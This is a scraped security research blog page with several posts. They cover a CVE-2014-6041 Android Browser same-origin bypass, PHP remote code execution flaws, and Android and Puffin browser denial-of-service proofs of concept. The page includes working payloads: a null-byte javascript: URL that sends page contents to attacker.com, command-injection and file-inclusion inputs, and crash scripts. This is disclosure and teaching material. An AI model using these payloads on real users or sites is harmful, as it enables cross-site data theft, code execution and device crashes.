KNOX D3

Android Browser Same Origin Policy Bypass < 4.4 - CVE-2014-6041

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUcYKGYlOma04C1BZBUtj-SVqSR6VyN6x_WsVD17WzSLPXolu9kXmGbDBUxEbjjiZLMfsmjqe72O9S5FQ6oooITeCJO9rwp__FWWo3um31mIy7dQ-qVdWEIwfJdROFWAnM8vcPkdRpBeg/s1600/Pirate.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUcYKGYlOma04C1BZBUtj-SVqSR6VyN6x_WsVD17WzSLPXolu9kXmGbDBUxEbjjiZLMfsmjqe72O9S5FQ6oooITeCJO9rwp__FWWo3um31mIy7dQ-qVdWEIwfJdROFWAnM8vcPkdRpBeg/s1600/Pirate.jpg" width="320" /></a></div><h4>Introduction</h4>Same Origin Policy (SOP) is one of the most important security mechanisms that are applied in modern browsers, the basic idea behind the SOP is the javaScript from one origin should not be able to access the properties of a website on another origin. The origin is formed by the combination of Scheme, domain and port with the port being an exception to IE. There are some exceptions with SOP such the location property, objects wtih src attribute. However, the fundamental are that different origins should not be able to access the properties of one another.<br /><a name="more"></a><br /><h4>SOP Bypass</h4>A SOP bypass occurs when a sitea.com is some how able to access the properties of siteb.com such as cookies, location, response etc. Due to the nature of the issue and potential impact, browsers have very strict model pertaining it and a SOP bypass is rarely found in modern browsers. However, they are found once in a while. The following writeup describes a SOP bypass vulnerability i found in my Qmobile Noir A20 running Android Browser 4.2.1, and later verified that Sony+Xperia+Tipo, Samsung galaxy, HTC Wildfire, Motrorolla etc are also affected. To best of my knowledge, the issue occurred due to improper handling of nullbytes by url parser. <br /><u><br /></u><u><b>Update: </b>Other folks have verified this issue to work under Android browser < 4.4. Ref - <a href="https://github.com/rapid7/metasploit-framework/pull/3759" rel="nofollow" target="_blank">https://github.com/rapid7/metasploit-framework/pull/3759</a></u><br /><br />The following is a proof of concept:<br /><h4>Proof Of Concept </h4><iframe name="test" src="http://www.rhainfosec.com"></iframe><br /><input type=button value="test"<br />onclick="window.open('\u0000javascript:alert(document.domain)','test')" ><br /><br />As you can see that the code tries accessing the document.domain property of a site loaded into an iframe. If you run the POC at attacker.com on any of the modern browsers, it would return a similar error as attacker.com should not be able to access the document.domain property of rhainfosec.com.<br /><span style="background-color: white; box-sizing: border-box; color: red; font-family: Consolas, 'Lucida Console', monospace; font-size: 12px; line-height: 12px; white-space: pre-wrap;"><br /></span><span style="background-color: white; box-sizing: border-box; color: red; font-family: Consolas, 'Lucida Console', monospace; font-size: 12px; line-height: 12px; white-space: pre-wrap;">Blocked a frame with origin "<a class="webkit-html-external-link" href="http://jsbin.com/" style="box-sizing: border-box; color: #545454; cursor: pointer; text-decoration: none;" target="_blank" title="http://jsbin.com">http://jsbin.com</a>" from accessing a frame with origin "<a class="webkit-html-resource-link" href="http://www.rhainfosec.com/" style="box-sizing: border-box; color: #545454; cursor: pointer;" title="http://www.rhainfosec.com">http://www.rhainfosec.com</a>". Protocols, domains, and ports must match.</span><span style="background-color: white; color: red; font-family: Consolas, 'Lucida Console', monospace; font-size: 12px; line-height: 12px; white-space: pre-wrap;"> </span><br /><div class="console-group console-group-messages" style="-webkit-text-stroke-width: 0px; background-color: white; box-sizing: border-box; color: #222222; font-family: Consolas, 'Lucida Console', monospace; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; position: relative; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;"><div class="console-message-wrapper" style="box-sizing: border-box; display: flex;"><div class="console-message console-error-level" style="border-bottom-color: rgb(240, 240, 240); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; clear: right; flex: 1 1 auto; margin-left: 24px; min-height: 16px; padding: 1px 22px 1px 0px; position: relative;"><ol class="outline-disclosure" style="-webkit-padding-start: 12px; box-sizing: border-box; font-size: inherit; line-height: 12px; list-style-type: none; margin: 0px; outline: none; padding-left: 0px;" tabindex="0"><li class="parent selected" style="box-sizing: border-box; margin-left: -12px; margin-top: 1px; padding: 0px 0px 0px 14px; word-wrap: break-word;" title=""><span class="console-message-text source-code" style="box-sizing: border-box; color: red !important; font-family: Consolas, 'Lucida Console', monospace; font-size: 12px !important; white-space: pre-wrap;"><a class="console-message-url webkit-html-resource-link" href="https://www.blogger.com/null" style="box-sizing: border-box; color: #545454; cursor: pointer; float: right; margin-left: 4px; max-width: 100%; text-align: right; text-decoration: underline;" title="http://jsbin.com/vagugebiweja:7">vagugebiweja:7</a></span></li></ol></div></div></div><br />However, running it on any of the vulnerable smart phones default browsers would alert the document.domain property indicating that the SOP was not able to restrict the access to document.domain property of a site at a different origin.<br /><br />I created the following POC, so you can mess around with some stuff:<br /><h4>Reading the response</h4>You can read the response of any page by accessing the document.body.innerHTML property.<br /><br /><iframe name="test" src="http://www.rhainfosec.com"></iframe><br /><input type=button value="test"<br />onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')" ><br /><div><h4>Reading the response and sending it to an attackers domain</h4>In real world situation an attacker would send the response to his controlled domain. </div><div><b><br /></b></div><div><iframe name="test" src="http://www.rhainfosec.com"></iframe><br /><input type=button value="test"<br />onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" ><br /><div><h4>Bypassing Frame Busting Code</h4>A lot of websites still use frame busting code to prevent the page from being prevent and since we can only bypass SOP here when the site could be framed. In case, where the site is using a frame busting code, we can bypass it using the sandbox attribute that was introduced as a part of HTML5 specifications.<br /><br /></div><div><iframe name="test" src="http://www.rhainfosec.com" sandbox></iframe><br /><input type=button value="test"<br />onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" ><br /><br /><b>Update: </b>A metasploit module has been released by jvennix-r7 which also supports x-frame-options bypass making it a completely universal exploit.  <b>Ref - <a href="https://github.com/rapid7/metasploit-framework/pull/3759" rel="nofollow" target="_blank">https://github.com/rapid7/metasploit-framework/pull/3759</a></b></div></div><div><div><h4>Affected Versions</h4>The initial tests were carried out on android browser 4.2.1 (Qmobile) and below and later verified with Galaxy S3, HTC wildfire, Sony Xperia, Qmobile etc.<br /><br />The following are some of the smartphones i tested with browserstack.com.<br /><h4>Samsung Galaxy S3</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUIOizl2ybQLhcfJisheVoALmDPezBsKKhpCH6MhJdwVK6uBtIQvpGpE2BR8JXWYKU-z4kVOyAl5IGr3gt8h-YGbjzCxA6xzOislxtNlctum2mBCHfQQ7ewgK41jf-7Z1Q2IIdz7-QNeU/s1600/aaa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUIOizl2ybQLhcfJisheVoALmDPezBsKKhpCH6MhJdwVK6uBtIQvpGpE2BR8JXWYKU-z4kVOyAl5IGr3gt8h-YGbjzCxA6xzOislxtNlctum2mBCHfQQ7ewgK41jf-7Z1Q2IIdz7-QNeU/s1600/aaa.png" width="330" /></a></div><b><br /></b></div></div><h4>Motrorolla Razr</h4><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqoW5iO7Lo9hQn4D1E0JO0YPd0UAnUBvegi8iKq_-QoB7GnTLK-EhjhjUCEvv4OWTCCDuzkKIMaOEyp0mHbhcOxnc8jr87PxkCRLBt7rgLHvb8rnyPxMixYXoXSCaJ-04OIFfnk2g_KZg/s1600/aa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqoW5iO7Lo9hQn4D1E0JO0YPd0UAnUBvegi8iKq_-QoB7GnTLK-EhjhjUCEvv4OWTCCDuzkKIMaOEyp0mHbhcOxnc8jr87PxkCRLBt7rgLHvb8rnyPxMixYXoXSCaJ-04OIFfnk2g_KZg/s1600/aa.png" width="342" /></a></div><div class="separator" style="clear: both; text-align: left;"></div><h4>Sony Xperia Tipo</h4><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDyT0OFunOcvjC6kq9Gk7GapFFBW7DKUFVhc8UftpKBotKdHczZ5lJ8tnd1oz1PXnQAcKb4eYJlgTFp7vhLiQQuF1XfJ2cvzCU7zPTsx3hretzirFeu0x8pIKD2PD94yXSKIf7-neXifE/s1600/aaaa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDyT0OFunOcvjC6kq9Gk7GapFFBW7DKUFVhc8UftpKBotKdHczZ5lJ8tnd1oz1PXnQAcKb4eYJlgTFp7vhLiQQuF1XfJ2cvzCU7zPTsx3hretzirFeu0x8pIKD2PD94yXSKIf7-neXifE/s1600/aaaa.png" width="364" /></a></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><h4>HTC Evo 3D and Wildfire </h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNqMwyVFR7st_GG2e6-k87pypmIjaejE8EQsyUt1lpiS0LP9KfDR92O1fS6kD8ffzQtT1PXY201KE_g23_wyq8CTkYX_PuDmabAdNNmRkS423d95AxBDN7rkzNHTgHG63pNkS8TEnotuo/s1600/htc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNqMwyVFR7st_GG2e6-k87pypmIjaejE8EQsyUt1lpiS0LP9KfDR92O1fS6kD8ffzQtT1PXY201KE_g23_wyq8CTkYX_PuDmabAdNNmRkS423d95AxBDN7rkzNHTgHG63pNkS8TEnotuo/s1600/htc.png" width="342" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">Hope you enjoyed it, Until next time. Pass the comments. </div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>Updates</b></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"></div><ul style="text-align: left;"><li>Haru Sugiyama has posted found an additional technique to read local files using this trick, To learn about it, please visit here - <a href="http://t.co/mGoVU1RWjf">http://t.co/mGoVU1RWjf</a></li><li>Posted about a second SOP bypass vulnerability - <a href="http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html" rel="nofollow" target="_blank">http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html</a></li><li>A Content Security Policy bypass was also posted in browsers prior to 4.4 by abusing nullbytes - https://twitter.com/AndroidTamer/status/521494552574582784</li></ul></div><h4>Press Coverage</h4>http://threatpost.com/flaw-in-android-browser-allows-same-origina-policy-bypass/108265#comment-317786<br /><br />https://showyou.com/v/y-yY23sS6DoEs/android-browser-vulnerability-security-now-473<br /><br /> https://securitystreet.jive-mobile.com/#jive-document?content=%2Fapi%2Fcore%2Fv2%2Fposts%2F6804<br /><br /> http://www.theregister.co.uk/2014/09/16/three_quarters_of_droid_phones_open_to_web_page_spy_bug/<br /><br />http://linustechtips.com/main/topic/216087-metasploit-major-android-bug-is-a-privacy-disaster-cve-2014-6041/<br /><br />http://nakedsecurity.sophos.com/2014/09/16/shocking-android-browser-bug-could-be-a-privacy-disaster-heres-how-to-fix-it/<br /><br />http://www.forbes.com/sites/thomasbrewster/2014/09/16/widespread-android-vulnerability-a-privacy-disaster-claim-researchers/<br /><br />http://www.securityweek.com/dangerous-same-origin-policy-bypass-flaw-found-android-browser<br /><br />http://www.computerworld.com/article/2684059/many-android-devices-vulnerable-to-session-hijacking-through-the-default-browser.html<br /><br />http://gadgets.ndtv.com/mobiles/news/android-browser-security-hole-affects-millions-of-users-says-expert-592578<br /><br />http://www.bostonglobe.com/business/2014/09/15/rapid-boston-finds-android-flaw/JJ9iHJB6YTcs10a7O9TjpN/story.html<br /><br />http://www.digit.in/mobile-phones/android-security-flaw-affects-millions-of-users-23921.html<br /><br />http://www.phonearena.com/news/New-Android-bug-called-a-privacy-disaster_id60750<br /><br />http://www.scmagazine.com/android-bug-allowing-sop-bypass-a-privacy-disaster-researcher-warns/article/371917/<br /><br />http://arstechnica.com/security/2014/09/android-browser-flaw-a-privacy-disaster-for-half-of-android-users/<br /><br />http://thehackernews.com/2014/09/new-android-browser-vulnerability-is.html<br /><br />http://xakep.ru/news/aosp-browser-sop/<br /><br />http://blog.trendmicro.com/trendlabs-security-intelligence/same-origin-policy-bypass-vulnerability-has-wider-reach-than-thought/<br /><br />http://daily.urdupoint.com/livenews/2014-09-17/news-303641.html<br /><br />http://dailypakistan.com.pk/daily-bites/17-Sep-2014/144263<br /><br />http://e.jang.com.pk/09-24-2014/karachi/page16.asp<br /><br />http://tribune.com.pk/story/764713/online-security-pakistani-helps-google-avoid-privacy-disaster/<br /><br />http://www.dawn.com/news/1133178/pakistani-researcher-reveals-privacy-flaw-in-android-browsers <br /><br />http://tribune.com.pk/story/764925/credit-to-our-white-hats/<br /><br />http://propakistani.pk/2014/09/23/pakistani-researcher-helps-google-preventing-massive-security-disaster/<br /><br />http://www.makeuseof.com/tag/this-android-browser-bug-will-make-you-upgrade-to-kitkat/</div>

Android Browser Same Origin Policy Bypass < 4.4 - CVE-2014-6041

Introduction Same Origin Policy (SOP) is one of the most important security mechanisms that are applied in modern browsers, the basic idea b...

+ Read more »

Remote Code Execution in PHP Explained - Part 1

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZG6Cz8ZJn0-QeZX-NtH0kNJgvdaPoML4UB1WKg_Tcad1seLYPGVbbAS9IhU9aFaEvY0FSB6kL1BZFRIivNQP4do8krwUo-TKWN5dUklhO518vC8y3AmeZat04YA04PwCNrudxizBeuYc/s1600/Samba+remote+code+execution+vulnerability,+Patch+Released.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZG6Cz8ZJn0-QeZX-NtH0kNJgvdaPoML4UB1WKg_Tcad1seLYPGVbbAS9IhU9aFaEvY0FSB6kL1BZFRIivNQP4do8krwUo-TKWN5dUklhO518vC8y3AmeZat04YA04PwCNrudxizBeuYc/s1600/Samba+remote+code+execution+vulnerability,+Patch+Released.jpg" width="400" /></a></div><br />This is a two part article about code execution in PHP. It’s a very detailed article and contains references from other sources as well.  I will discuss about some of the mistakes done by PHP developers which result in Remote Code Execution Vulnerability.  It’s no secret that PHP is an easy to code language; however a lot of new PHP developers lack the knowledge of basic security principles which results in to new poorly written web-application often introducing critical vulnerabilities.<br /><h4>PHP Vulnerable Functions</h4>Let’s take a look at the very common class of functions which when used insecurely result in a remote code execution. Any untrusted input passed through one of these functions without sanitization would result in an arbitrary code being executed. eval() , system(), exec(), shell_exec()<br /><a name="more"></a><br />The first fair case I would say is using the eval function. Web-developers usually want to evaluate desired code with some dynamic changes. Let’s take a look at the following example:<br /><blockquote class="tr_bq"><b><?php</b><br /><b>eval("echo $name;");</b><br /><b>?></b></blockquote>In this case variable will be treated as PHP code, so contents of $name will be evaluated<br /><blockquote class="tr_bq"><b><?php</b><br /><b>eval('echo $name;');</b><br /><b>?></b></blockquote><div><div>In second one value of $name will be simply echoed. So, if your intention was second case, there is no reason to use double quotes for any calls.</div><div><br /></div><div>As you can see, sanitizing eval can be a big waste of time and there is no function designed in php to properly escape eval. Mostly this kind of issues occur with scripts like:</div><blockquote class="tr_bq"><b><br /></b><b><?php</b><br /><b>$name = $_GET[‘name’]</b><br /><b>system(“echo $name”);</b><br /><b>?></b></blockquote><div>So seeing from the above code, whatever code we gave it, the developer thinks it will just print it out. It’s a right conclusion but with a wrong angle of view, an attacker can give values like</div><div><br /></div><div>“Paulos;ls –la” or “Paulos && dir” for windows systems</div><div><br /></div><div>And execute the ls –la command, since ‘;’ means to execute that line and to execute a new one, i.e ls -la</div><div>So the output would be “Paulos” with the list of the current directory. </div><div><br /></div><div>Similarly other functions such as shell_exec, exec would result in the same vulnerability. </div><div><h4>Regex</h4></div><div>One popular case leading to code evaluation is regex. Regexps are used widely because it is often easier to write regex than to individually do it. A lot of web application filters and firewalls use rules that are based upon regex.</div><div><br /></div><div>PHP has support of the Perl Compatible Regex; there is availability of ‘<b>e preg_replace_eval</b>’ modified in regex for functions. Like preg_replace() for example, When a is match found, it then will be executed. </div><div><b><br /></b></div><blockquote class="tr_bq"><b><?php</b><b>$name='<p>phpinfo()</p>';</b><b>preg_replace("/<p>(.*?)<\/p>/e",'addslashes(\\1)',$name);</b><b>?></b></blockquote><div>It’s obvious the intention of the developer was to sanitize the input with addslashes(). Even if there is no ‘<b>e</b>’ modifier, sometimes it is possible to evaluate code. It can be achieved by writing some regular expression with the help of our dear friend, the null byte. </div><blockquote class="tr_bq"><b><br /></b><b><?php </b><b>$replace=$_GET['re'];</b><b>$name='<p>phpinfo()</p>';</b><b>preg_replace("/<p>(.*?)$replace<\/p>/",'\\1',$name);</b><b>?></b></blockquote><div>This example is an easy one and native but, the aim is to show how null-byte attack could work. Now consider that vulnerable script accepts request like this:</div><div><br /></div><div>http://localhost/index.php?re=<\/p>/e</div><div><br /></div><div><h4>Function Tasks</h4></div><div><br /></div><div>The function tasks are one of the other ways how code execution could occur, let’s take a look at the following example:</div><blockquote class="tr_bq"><br /><b><?php </b><b>$name=$_GET[‘name’];</b><b>$argument=$_GET['argument'];</b><b>$name($argument);</b><b>?></b></blockquote><div><br /></div><div>In case if register_globals flag is set to enabled, the previous code is equivalent to:</div><div><br /></div><blockquote class="tr_bq"><b><?php </b><b>$name($argument);</b><b>?></b></blockquote><div>From here the exploitation is piece of cake: </div><div><br /></div><div><b>http://localhost/index.php?name=eval&argument=phpinfo</b></div><div><br /></div><div>The  $name becomes name of function and $argument is the argument of name. It should be clear what it could do.</div><div><br /></div><div>In another case with create_function(), it is possible to create veiled function. For example:</div><blockquote class="tr_bq"><b><?php </b><b>$name=$_GET['name'];</b><b>$create =create_function('$name',"echo $name;");</b><b>$name('');</b><b>?></b></blockquote><div>Then following request would give out result phpinfo()</div><div><br /></div><div>http://localhost/index.php?name=phpinfo()</div><div><br /></div><div>In eval() it was equivalent to something like: </div><blockquote class="tr_bq"><br /><b><?php </b><b>eval("function this_is_so_safe() { echo phpinfo(); }");</b><b>this_is_so_safe();</b><b>?></b></blockquote><div><br /></div><div><h4>Inclusion</h4></div><div>In PHP there are some functions that are used to dynamically include the PHP code inside the page, if an untrusted input is used to dynamically include files inside of a page, it would result into a file inclusion vulnerability.</div><div></div><div>Here is the list of some functions that need to be handled with care - include(), iclude_once(), require(), require_once() etc </div><div></div><div>Best way to be preserved from this kind of attacks is to avoid using dynamic file paths. If this is not possible, then the usage of this should be limited and checked by a list of allowed files to be included. Also try to use absolute path rather than relative. But if the PHP directive include path is able to be modified, you can never know where the script with defined partial path comes from. Good approach is to use file inclusion as follows:</div><blockquote class="tr_bq"><b><?php </b><b>define('MY_FILE_PATH','/var/www/htdocs/');</b><b>require_once(APP_PATH .'lib.php');</b><b>?></b></blockquote><div>Let’s now take a look at another example, consider the following page:</div><div><br /></div><div>http://localhost/index.php?file=page1</div><div><br /></div><div>page1 is the file that is dynamically included into the webpage, by looking at the above url, we can assume that the backend would be using the following code:</div><div><br /></div><blockquote class="tr_bq"><b><?php </b><b>$page_to_include=$_GET['file'];</b><b>require_once($page_to_include.'.html');</b><b>?></b></blockquote><div><br /></div><div>And now imagine that attacker changes value of variable “file” to following:</div><div><br /></div><div>http://localhost/index.php?file=data:text/plain,<?php phpinfo();?></div><div><br /></div><div>LFI can easily be converted to remote code execution (RCE) in one way more. This new data protocol has appeared in PHP 5.2.0 and in older versions will not work. Also PHP will argue and would not allow to use it if allow_url_include=off which results in a full path disclosure.</div><div><br /></div><div>There are other possibilities how code can be injected and later evaluated; via apache log files, using “/proc” and others. Without a doubt, inappropriate usage of functions like file_get_contents(), readfile(), input wrappers like php://input and others represent a threat as well. However, the exploitation part is a subject of another article.</div><div><br /></div><div><h4>Variables</h4></div><div><br /></div><div>Register_globals is a php setting that allows variables to be registered as global, the register_globals has lead to security issues such as file inclusion discussed above , as a result of which register_globals is by default switched off in 4.2 and will remove it in php version 6.0. Let's take a look at the following code, assuming that register_globals flag is turned on.</div><div><br /></div><blockquote class="tr_bq"><b> <?php</b><br /><b>foreach($_GET as $key=>$name){</b><br /><b>$$key=$name;</b><br /><b>}</b><br /><b>// ...</b><br /><b>if(logged_in()||$authenticated){</b><br /><b>// ... logged area</b><br /><b>}</b><br /><b>?></b></blockquote><div>The above code takes each user input, then if the variable authenticated is true, or the function is true, it will execute admin codes, so when register globals is on, we can modify every variable as a global using post and get requests.<br /><br />Thus when we make the variable globally true using a get request, the if statement becomes true and executes its code:<br /><br />http:// localhost/index.php?authenticated=true.<br /><br />Even if $authenticated is an integer variable. It means we can pass something like http:// localhost/index.php?authenticated=1 since <b>1</b> is true and <b>0</b> is not so much. so either we gave it <b>1</b> or true, it still gets code executed..<br /><br />Hope you have enjoyed the first article, we would continue the series and present some other scenarios that lead to arbitrary code execution inside the next part.<br /><h4>About The Author</h4>This following article is a guets post by<b> Paulos Yibelo</b>. Yibelo is the newest member of RHA family. He is a full time PHP coder and most of his research is involved with application security. In his free time he loves writing articles related to application security at <a href="http://paulosyibelo.blogspot.com/" rel="nofollow" target="_blank">http://paulosyibelo.blogspot.com/</a><br /><h4>About The Editor</h4>This article was edited by "<b>Fatima Hanif</b>", a student at NED university. She is responsible for editorial work at RHA infosec.<br /><br /><b>References </b><br /><b><br /></b><b>- http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html</b></div></div></div>

Remote Code Execution in PHP Explained - Part 1

This is a two part article about code execution in PHP. It’s a very detailed article and contains references from other sources as well. I ...

+ Read more »

Android Browser + Messaging App DOS

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0BftzuferuKM2RlpgnYOm6P4Xy0x_VajsL-1-EgayXZBzmjMGwY9N3Zk1b8ox5WAZn7jng3GDnig99C6N50XQQDgedD6tAkv6FXpoD3pholP5D27rxRYEbc7l1YJOcFrz7inJi3zknM/s1600/7660noir_a20_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0BftzuferuKM2RlpgnYOm6P4Xy0x_VajsL-1-EgayXZBzmjMGwY9N3Zk1b8ox5WAZn7jng3GDnig99C6N50XQQDgedD6tAkv6FXpoD3pholP5D27rxRYEbc7l1YJOcFrz7inJi3zknM/s1600/7660noir_a20_2.jpg" width="320" /></a></div><br />While being impressed by <span style="white-space: pre-wrap;">Collin Mulliner's research on smart phones, I found myself very curious trying to find vulnerabilities inside it and i found several ones out.</span> In this short blog post I would be discussing about DOS vulnerabilities inside the default browser and the messaging app of Qmobile Noir A20. Qmobile Noir A20 runs on Android 4.1.2. The flaw itself is present it inside pre kitkat browsers as well as the default messaging system, however since most of the Qmobile smartphones within the released with or slightly after Noir A20 are most likely using the same browser version and messaging app. <br /><a name="more"></a><br /><h4>Android Browser DOS</h4>The vulnerability is a simply Denial of service issue due to the writing overly long strings of iframes to the DOM.<br /><br />Here is the POC:<br /><br /><blockquote class="tr_bq"><html><br /><head><br /><title>Android Browser DOS</title><br /> <body><br /> <script><br />  frame = "<iframe src=\"test:";<br />  for (i = 0; i < 100000; i++) {<br />      frame = frame + "0000000000000000000000000000000000"; // <u>Long string of Numbers</u><u> </u> }<br /> frame = frame + "\" width=125 height=125></iframe>"; // <u>Appending the resultant of the loop to closing tag. </u> document.write(frame); //<u> Writing the value of frame to DOM</u><br />  </script><br />  </body><br />  </html></blockquote><h4>Messaging App DOS</h4>A sms protocol provides text messaging component for all smartphones, During my tests, I concluded that the default messaging app for Qmobile Noir A20 is not able to handle long strings sent via sms:// protocol. Please note that this is partly recoverable DOS, and also the exact conditions for DOS are not yet known.<br /><br />Here is the POC:<br /><br />  <html><br />  <title>Android Browser SMS Protocol Denial Of Service</title><br />  <body><br />  <script><br />  frame = "<iframe src=\"sms:";<br />  for (i = 0; i < 30000; i++) {<br />          frame = frame + "+12345678912222222222222";<br />  }<br /> frame = frame + "\" </iframe><iframe src='sms:+1234567891212121222222222'></iframe>";<br /> document.write(frame);<br />  </script><br />  </body><br />  </html><br /><b><br /></b><b>References</b><br /><ul style="text-align: left;"><li>http://mulliner.org/security/advisories/iphone_safari_phone-auto-dial_vulnerability_advisory.txt</li><li>https://www.ietf.org/rfc/rfc5724.txt</li></ul></div>

Android Browser + Messaging App DOS

While being impressed by Collin Mulliner's research on smart phones, I found myself very curious trying to find vulnerabilities inside ...

+ Read more »

Puffin Web Browser Pop Up Recursion Vulnerability - DOS

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-wRCidSZEw9Zmc6fpWfFhJ9u8OAhDXYFasaGcpQcL1S7zwgetOlKbfxvb0X6fHXoFS4i5cVNBTo0wwmfw-QuvotoTHXwrXNRUaeAQU0AKAxhNVigQGBBIAnrVf2x_Z968UrZwT__9xfk/s1600/mzl.lomvgfho.png" imageanchor="1" style="background-color: white; color: #666666; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-wRCidSZEw9Zmc6fpWfFhJ9u8OAhDXYFasaGcpQcL1S7zwgetOlKbfxvb0X6fHXoFS4i5cVNBTo0wwmfw-QuvotoTHXwrXNRUaeAQU0AKAxhNVigQGBBIAnrVf2x_Z968UrZwT__9xfk/s1600/mzl.lomvgfho.png" style="border-width: 0px; padding: 10px;" width="320" /></a></div><table><tbody><tr><td class="webkit-line-number" value="1"></td><td class="webkit-line-content"><span class="webkit-html-tag">During my recent security research on "<b>Puffin Web Browser</b>" I found several security bugs with "<b>Puffin Web Browser</b>" ranging from low to high risk issues. My recent post "<a href="http://www.rafayhackingarticles.net/2014/07/puffin-web-browser-address-bar-spoofing.html" target="_blank">Puffin Web Browser Address Bar Spoofing</a>" already talked about a high risk vulnerability inside Puffin Web browser. </span><br /><span class="webkit-html-tag"><br /></span><span class="webkit-html-tag">However, today I would like to discuss about a low/medium risk issue known as "<b>Pop Up Recursion</b>" vulnerability resulting in a Denial Of Service. This is a known issue and in past has been already addressed in browsers such as Google Chrome, however Puffin Web Browser is still affected by the issue.  </span><br /><a name="more"></a><br /><h4>Vulnerability</h4>The vulnerability occurred due to mishandling of location.reload function, as it keeps reloading the document, however the issue more likely is present inside of not limiting the pop ups or simply offering no way to ignore further prompts. <br /><span class="webkit-html-tag"><b><br />Expected Result</b></span><br /><span class="webkit-html-tag"><b><br /></b>Puffin Web Browser should have opened a new window with single alert box.<br /><b><br />What actually happened? </b></span><br /><span class="webkit-html-tag"><br /></span><span class="webkit-html-tag">Puffin Web Browser recursively opens up new window on pressing the ok button and there is no way to prevent the page from creating additional pop ups just like Chrome, IE etc. </span><br /><b><br /></b><span class="webkit-html-tag"><b>Puffin Web Browser</b></span><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><span class="webkit-html-tag"></span><br /><div class="separator" style="clear: both; text-align: center;"><span class="webkit-html-tag"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNQ8Hjr6yQHSF86P7w7q8FedQJ-xtiGBboWmkag9ow7fdvqcbsVZHCIA7426byNfZEFuiXhvSk5v-tPXdq3KSxB8twLqSoH1hRZFDI3ZLGnS_vTwvR5zV_MHhs7vSV_5fd9m0HVPcWZk/s1600/Screenshot_2014-07-17-09-53-47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="157" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNQ8Hjr6yQHSF86P7w7q8FedQJ-xtiGBboWmkag9ow7fdvqcbsVZHCIA7426byNfZEFuiXhvSk5v-tPXdq3KSxB8twLqSoH1hRZFDI3ZLGnS_vTwvR5zV_MHhs7vSV_5fd9m0HVPcWZk/s1600/Screenshot_2014-07-17-09-53-47.png" width="320" /></a></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">On pressing the "OK" button, it would reload the copy a current document in a new tab, on pressing "OK" on the second window, it would reload another copy of the current document in a new tab, this would keep growing until the browser finally crashes. </div><div class="separator" style="clear: both; text-align: center;"><span class="webkit-html-tag"><br /></span></div><div class="separator" style="clear: both; text-align: left;"><span class="webkit-html-tag"><b>Chrome</b></span></div><br /><div class="separator" style="clear: both; text-align: center;"><span class="webkit-html-tag"><a 